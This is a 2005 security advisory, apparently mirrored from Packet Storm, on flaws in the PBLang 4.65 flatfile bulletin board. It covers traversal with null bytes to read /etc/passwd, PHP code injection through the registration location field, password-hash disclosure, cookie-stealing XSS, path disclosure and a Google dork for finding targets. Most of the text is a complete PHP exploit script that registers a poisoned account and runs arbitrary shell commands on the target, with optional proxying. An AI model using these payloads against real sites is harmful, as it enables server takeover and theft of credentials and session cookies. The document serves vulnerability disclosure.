pblang465.txt

🗓️ 07 Sep 2005 00:00:00Reported by rgodType
packetstorm🔗 packetstormsecurity.com👁 31 Views
PBLang 4.65 Bulletin Board System remote code execution, admin credentials & system info disclosur
`PBLang 4.65 (possibly prior versions) remote code execution / administrative  
credentials disclosure / system information disclosure / cross site scripting /  
path disclosure  
  
software:  
  
description: PBLang is a powerful flatfile Bulletin Board System. It combines  
many features of a professional board, but does not even require SQL support. It  
is completely based on text-file.  
  
site: http://pblang.drmartinus.de/  
download: https://sourceforge.net/project/showfiles.php?group_id=62953  
  
1) system disclosure:  
  
you can traverse directories and see any file (if not .php or .php3 etc.) and  
include any file on target system using '../' chars and null byte (%00), example:  
  
http://target]/[path]/pblang/setcookie.php?u=../../../../../etc/passwd%00  
  
vulnerable code in setcookie.php:  
  
...  
16 $usrname=$HTTP_GET_VARS['u'];  
17 @include($dbpath.'/'.$usrname.'temp');  
...  
  
2) remote code execution:  
  
board stores data in files, when you register a [username] file without extension  
is created in /db/members directory, inside we have php code executed when you  
login, so in location field type:  
  
madrid"; system($HTTP_POST_VARS[cmd]); echo "  
  
in /db/members/[username] file we have  
  
...  
$userlocation="madrid"; system($HTTP_GET_VARS[cmd]); echo "";  
...  
  
no way to access the script directly, /db/members is .htaccess protected  
and extra lines are deleted from files after you login, so you should make  
all in a POST request and re-register  
  
this is my proof of concept exploit, to include [username] file I make a GET  
request of setcookie.php?u=[username]%00&cmd=[command] but you can call username  
file through some other inclusion surely when you surf the forum:  
  
<?php  
/* PBLang 4.65 (possibly prior versions) remote code execution  
by rgod -> site: http://rgod.altervista.org  
make these changes in php.ini if you have troubles with this script:  
allow_call_time_pass_reference = on  
register_globals = on */  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout", 2);  
ob_implicit_flush (1);  
  
echo '<head><title>PBLang 4.65 remote commands execution</title>  
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">  
<style type="text/css">  
<!--  
body,td,th {color: #00FF00;}  
body {background-color: #000000;}  
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }  
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-weight: bold;  
font-style: italic;  
}  
-->  
</style></head>  
<body>  
<p class="Stile6">PBLang 4.65 (possibly prior versions) remote commands execution</p>  
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a></p>  
<table width="84%" >  
<tr>  
<td width="43%">  
<form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=value&port=value&command=value&proxy=value">  
<p>  
<input type="text" name="host">  
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>  
<p>  
<input type="text" name="path">  
<span class="Stile5">path (ex: /pblang/ or /forum/ or just /) </span></p>  
<p>  
<input type="text" name="port">  
<span class="Stile5">specify a port other than 80 (default value) </span></p>  
<p>  
<input type="text" name="command">  
<span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p>  
<p>  
<input type="text" name="proxy">  
<span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>  
<p>  
<input type="submit" name="Submit" value="go!">  
</p>  
</form></td>  
</tr>  
</table>  
</body>  
</html>';  
  
  
function show($headeri)  
{  
$ii=0;  
$ji=0;  
$ki=0;  
$ci=0;  
echo '<table border="0"><tr>';  
while ($ii <= strlen($headeri)-1)  
{  
$datai=dechex(ord($headeri[$ii]));  
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "<td>&nbsp;&nbsp;</td>";  
for ($li=0; $li<=15; $li++)  
{ echo "<td>".$headeri[$li+$ki]."</td>";  
}  
$ki=$ki+16;  
echo "</tr><tr>";  
}  
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else  
{echo "<td>".$datai."</td> ";}  
$ii++;  
$ji++;  
}  
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)  
{ echo "<td>&nbsp&nbsp</td>";  
}  
  
for ($li=$ci*16; $li<=strlen($headeri); $li++)  
{ echo "<td>".$headeri[$li]."</td>";  
}  
  
echo "</tr></table>";  
}  
  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
  
if (($path<>'') and ($host<>'') and ($command<>''))  
{  
if ($port=='') {$port=80;}  
  
$anumber=rand();  
  
$data="user=jimihendrix".$anumber."&pass=jimijimi&pass2=jimijimi&em=jimimail".$anumber."@jimimail.com&realname=&alias=&msn=&icq=&aim=&yahoo=&qq=&web=http%3A%2F%2F&loc=".urlencode('madrid"; error_reporting(0); system($HTTP_GET_VARS[cmd]); echo "') ."&pt=colorgination.com+harness+racing+video&av=none&webav=&sig=&regcode=1126055838&lang=en&accept=1&Submit=Submit";  
  
if ($proxy=='')  
{ $packet="POST ".$path."register.php?reg=2 HTTP/1.1\r\n"; }  
else  
{  
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);  
if ($c==0) {  
echo 'check the proxy...<br>';  
die;  
}  
else  
{ $packet="POST http://".$host.$path."register.php?reg=2 HTTP/1.1\r\n";}  
}  
  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";  
$packet.="Referer: ".$host.$path."register.php?reg=1\r\n";  
$packet.="Accept-Language: en\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Keep-Alive\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
  
show($packet);  
if ($proxy=='')  
{$fp=fsockopen(gethostbyname($host),$port);}  
else  
{$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$fp=fsockopen($parts[0],$parts[1]);  
if (!$fp) { echo 'No response from proxy...';  
die;  
}  
}  
fputs($fp,$packet);  
$data='';  
if ($proxy=='')  
{  
while (!feof($fp))  
{  
$data.=fgets($fp);  
}  
}  
else  
{  
$data='';  
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))  
{  
$data.=fread($fp,1);  
}  
  
}  
fclose($fp);  
echo nl2br(htmlentities($data));  
  
if ($proxy=='')  
{ $packet="GET ".$path."setcookie.php?u=jimihendrix".$anumber."%00&cmd=".urlencode($command)." HTTP/1.1\r\n"; }  
else  
{ $packet="GET http://".$host.$path."setcookie.php?u=jimihendrix".$anumber."%00&cmd=".urlencode($command)." HTTP/1.1\r\n"; }  
  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";  
$packet.="Referer: ".$host.$path."login.php\r\n";  
$packet.="Accept-Language: en\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/5.0 (compatible; Konqueror/3.3; Linux) KHTML/3.3.2 (like Gecko)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Keep-Alive\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
// $packet.=$data;  
show($packet);  
if ($proxy=='')  
{$fp=fsockopen(gethostbyname($host),$port);}  
else  
{$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$fp=fsockopen($parts[0],$parts[1]);  
if (!$fp) { echo 'No response from proxy...';  
die;  
}  
}  
  
fputs($fp,$packet);  
$data='';  
if ($proxy=='')  
{  
while (!feof($fp))  
{  
$data.=fgets($fp);  
}  
}  
else  
{  
$data='';  
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))  
{  
$data.=fread($fp,1);  
}  
  
}  
fclose($fp);  
echo nl2br(htmlentities($data));  
  
}  
?>  
  
  
3)admin/user credentials disclosure:  
  
you can see password hash of any user or admin sending the command:  
  
cat ./db/members/[username]  
  
  
4) cross site scripting:  
  
register and in location field type:  
  
madrid"; echo "<script>alert(document.cookie)</script>  
  
then check this url:  
  
http://[target]/[path]/setcookie.php?u=[username]%00  
  
  
5) path disclosure:  
  
http://[target]/[path]/setcookie.php?u=%00  
  
  
googledork: "Software PBLang" filetype:php  
  
rgod  
site: http://rgod.altervista.org  
mail: [email protected]  
`
07 Sep 2005 00:00Current
7.4High risk
Vulners AI Score7.4
pblang bulletinboardsystem securitydisclosure remotecodeexecution flatfilesystem crosssitescripting pathdisclosure